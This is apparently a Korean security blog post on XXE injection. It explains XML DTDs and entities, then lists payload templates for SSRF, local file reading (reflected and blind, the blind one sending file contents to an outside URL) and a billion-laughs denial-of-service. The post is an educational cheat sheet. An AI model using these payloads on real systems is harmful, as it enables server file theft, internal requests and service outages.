XXE Injection (Basic Concept & Real World Case)

2024. 10. 29. 14:32ยท๐Ÿ–Œ๏ธ Theory/WEB

What is XML(eXtensible Markup Language)?

XML์€ ๋ฐ์ดํ„ฐ ์ €์žฅ๊ณผ ์ „์†ก์— ์ดˆ์ ์„ ๋‘” ์–ธ์–ด์ด๋‹ค. ์—ฌ๋Ÿฌ ์ข…๋ฅ˜์˜ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์—์„œ ๋ฐ์ดํ„ฐ์™€ ๋ฌธ์„œ๋ฅผ ์œ ์—ฐํ•˜๊ฒŒ ์ „์†ก & ์ €์žฅํ•˜๋„๋ก ์„ค๊ณ„๋˜์—ˆ๋‹ค. ๋ฏธ๋ฆฌ ์ •์˜๋œ ํƒœ๊ทธ ์™ธ์—๋„ ์ž„์˜๋กœ ํƒœ๊ทธ๋ฅผ ์ •์˜ํ•  ์ˆ˜ ์žˆ๋‹ค.

[ ์ข…๋ฅ˜ ]

[ XML DTD ]

XML DTD(Docuemtn Type Definition)์„ ์‚ฌ์šฉํ•ด ๋ฏธ๋ฆฌ ์ •์˜๋œ ๋ฌธ์„œ ๊ตฌ์กฐ์— ๋Œ€ํ•ด XML ๋ฌธ์„œ์˜ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค.

<!DOCTYPE email [
  <!ELEMENT email (date, time, sender, recipients, body)>
  <!ELEMENT recipients (to, cc?)>
  <!ELEMENT cc (to*)>
  <!ELEMENT date (#PCDATA)>
  <!ELEMENT time (#PCDATA)>
  <!ELEMENT sender (#PCDATA)>
  <!ELEMENT to  (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>
<!-- Parsed Character DATA: ํŒŒ์„œ์— ์˜ํ•ด ๋ถ„์„๋  ๋ฌธ์ž ๋ฐ์ดํ„ฐ -->

์œ„ ์˜ˆ์‹œ์ฒ˜๋Ÿผ DTD๋Š” ELEMENT ํƒ€์ž… ์„ ์–ธ๊ณผ ํ•จ๊ป˜ root์ธ email์„ ์„ ์–ธํ•˜๊ณ  child ์š”์†Œ๋ฅผ ๋‚˜ํƒ€๋‚ธ๋‹ค.
์ดํ›„ child ์š”์†Œ๋“ค์ด ์ •์˜๋œ๋‹ค. child ์š”์†Œ๋Š” ๋ณธ์ธ์˜ child ์š”์†Œ๋ฅผ ๋˜ ๊ฐ€์งˆ ์ˆ˜๋„ ์žˆ๊ณ , ์›์‹œ ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•  ์ˆ˜๋„ ์žˆ๋‹ค. DTD๋Š” ์ฒซ ๋ฒˆ์งธ ์ค„์˜ XML ์„ ์–ธ ๋ฐ”๋กœ ๋’ค์— ๋ฐฐ์น˜ํ•˜๊ฑฐ๋‚˜, ์™ธ๋ถ€ ํŒŒ์ผ ํ˜•ํƒœ๋กœ ์ €์žฅํ•˜๊ณ  ์•„๋ž˜์™€ ๊ฐ™์ด SYSTEM ํ‚ค์›Œ๋“œ๋ฅผ ์ด์šฉํ•˜์—ฌ ์ฐธ์กฐ๋  ์ˆ˜ ์žˆ๋‹ค.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email SYSTEM "email.dtd">

[ XML Entity ]

XML DTD์—์„œ entity๋ฅผ ์ •์˜ํ•˜์—ฌ๋ณ€์ˆ˜๋ฅผ ๋ฆฌํŒฉํ† ๋งํ•˜๊ณ  ๋ฐ˜๋ณต๋˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์ค„์ผ ์ˆ˜ ์žˆ๋‹ค. ์•„๋ž˜ ์˜ˆ์‹œ์™€ ๊ฐ™์ด ํ‚ค์›Œ๋“œ ๋’ค์— entity์ด๋ฆ„๊ณผ ๊ฐ’์ด ๋‚˜์˜ค๋Š” ๋ฐฉ์‹์œผ๋กœ ์‚ฌ์šฉํ•œ๋‹ค.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company "Security Company">
]>

entity๊ฐ€ ์„ ์–ธ๋˜๋ฉด XML ๋ฌธ์„œ์—์„œ "&"์™€ ";" ์‚ฌ์ด์—์„œ ์ฐธ์กฐ๋  ์ˆ˜ ์žˆ๋‹ค. (e.g. &company;)
entity๊ฐ€ ์ฐธ์กฐ๋  ๋•Œ๋งˆ๋‹ค ํ•ด๋‹น entity๋Š” XML Parser์— ์˜ํ•ด ํ•ด๋‹น ๊ฐ’์œผ๋กœ ๋ฐ”๋€๋‹ค. ๋˜ํ•œ ์•„๋ž˜์™€ ๊ฐ™์ด ์™ธ๋ถ€ XML entity๋ฅผ SYSTESM ํ‚ค์›Œ๋“œ์™€ ํ•จ๊ป˜ ์ฐธ์กฐํ•  ์ˆ˜ ์žˆ๋‹ค.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "http://localhost/company.txt">
  <!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>

XXE Injection์˜ ํ•ต์‹ฌ์€ "SYSTEM" ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜์—ฌ Local File Leak, ์•…์˜์ ์ธ ์š”์ฒญ์„ ๊ฐ•์ œํ•˜๋Š” ๋“ฑ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

What is XXE?

XXE๋Š” "XML External Entity"์˜ ์•ฝ์ž๋กœ ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ XML ํŒŒ์‹ฑํ•˜๋Š” ๋™์ž‘์„ ์ด์šฉํ•˜์—ฌ ๊ณต๊ฒฉ ํŠธ๋ฆฌ๊ฑฐ๊ฐ€ ๊ฐ€๋Šฅํ•˜๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ Code Execution์ด ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ ์น˜๋ช…์ ์ด๋‹ค.

Types of XXE

  • Reflected XXE : ๋Œ€ํ‘œ์ ์œผ๋กœ Response๋ฅผ ํ†ตํ•ด ์„œ๋ฒ„ ํŒŒ์ผ์— ์ ‘๊ทผ ๊ฐ€๋Šฅ

  • Blind XXE : ๋Œ€ํ‘œ์ ์œผ๋กœ DoS, ์˜๋„ํ•˜์ง€ ์•Š์€ ์™ธ๋ถ€ ํ˜ธ์ŠคํŠธ๋กœ์˜ ์š”์ฒญ ๊ฐ€๋Šฅ

Common Payload

  • SSRF

      <?xml version="1.0"?>
      <!DOCTYPE root [  
      <!ELEMENT root (#ANY)>
      <!ENTITY test SYSTEM "URL">]><xxe>&test;</xxe>
  • LFI (Reflected)
    <?xml version="1.0"?>
    <!DOCTYPE root [  
    <!ELEMENT root (#ANY)>
    <!ENTITY test SYSTEM "file://PATH">]><xxe>&test;</xxe>
  • LFI (Blind)
    <?xml version="1.0"?>
    <!DOCTYPE root [  
    <!ELEMENT root (#ANY)>
    <!ENTITY test SYSTEM "file://PATH">
    <!ENTITY blind SYSTEM "URL/?%test;">]><xxe>&blind;</xxe>
  • DoS
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lola "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lolb "&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;&lola;">
    <!ENTITY lolc "&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;&lolb;">
    <!ENTITY lold "&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;&lolc;">
    <!ENTITY lole "&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;&lold;">
    <!ENTITY lolf "&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;&lole;">
    <!ENTITY lolg "&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;&lolf;">
    <!ENTITY lolh "&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;&lolg;">
    <!ENTITY loli "&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;&lolh;">
    ]>
    <attack>&loli;</attack>

Real World Case

  • Starbucks
  • SEMrush
  • Open-Xchange
  • Rockstar Games

Reference

  • hoppi tistory
์ €์ž‘์žํ‘œ์‹œ ๋น„์˜๋ฆฌ ๋ณ€๊ฒฝ๊ธˆ์ง€ (์ƒˆ์ฐฝ์—ด๋ฆผ)
'๐Ÿ–Œ๏ธ Theory/WEB' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€
  • Phar Deserialization
  • Cache Poisoning Attack
  • PHP HEAD Method Trick (GDG Algiers CTF 2022)
  • Advanced Tips For SSRF Attack
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • ๋ถ„๋ฅ˜ ์ „์ฒด๋ณด๊ธฐ (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • ๐Ÿšฉ CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • ๐Ÿ’ป Security (5)
      • ๐Ÿ–Œ๏ธ Theory (22)
        • WEB (9)
        • PWN (13)
      • ๐Ÿ“„ Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • ๋ธ”๋กœ๊ทธ ๋ฉ”๋‰ด

    • ํ™ˆ
  • ๋งํฌ

  • ๊ณต์ง€์‚ฌํ•ญ

  • ์ธ๊ธฐ ๊ธ€

  • ํƒœ๊ทธ

    TFCCTF2022
    Ubuntu ๊ธฐ์ดˆ ์…‹ํŒ…
    python
    Text Summarization
    pwntools
    ubuntu ๋ช…๋ น์–ด
    cache poisoning
    Remote Code Execution
    Crypto
    bug hunter
    GPNCTF
    Ubuntu ๊ธฐ์ดˆ
    bug report
    RCE
    Deep learning
    Machine Learning
    TsukuCTF2022
    sqli
    justCTF
    cache
  • ์ตœ๊ทผ ๋Œ“๊ธ€

  • ์ตœ๊ทผ ๊ธ€

Cronus
XXE Injection (Basic Concept & Real World Case)
์ƒ๋‹จ์œผ๋กœ

ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”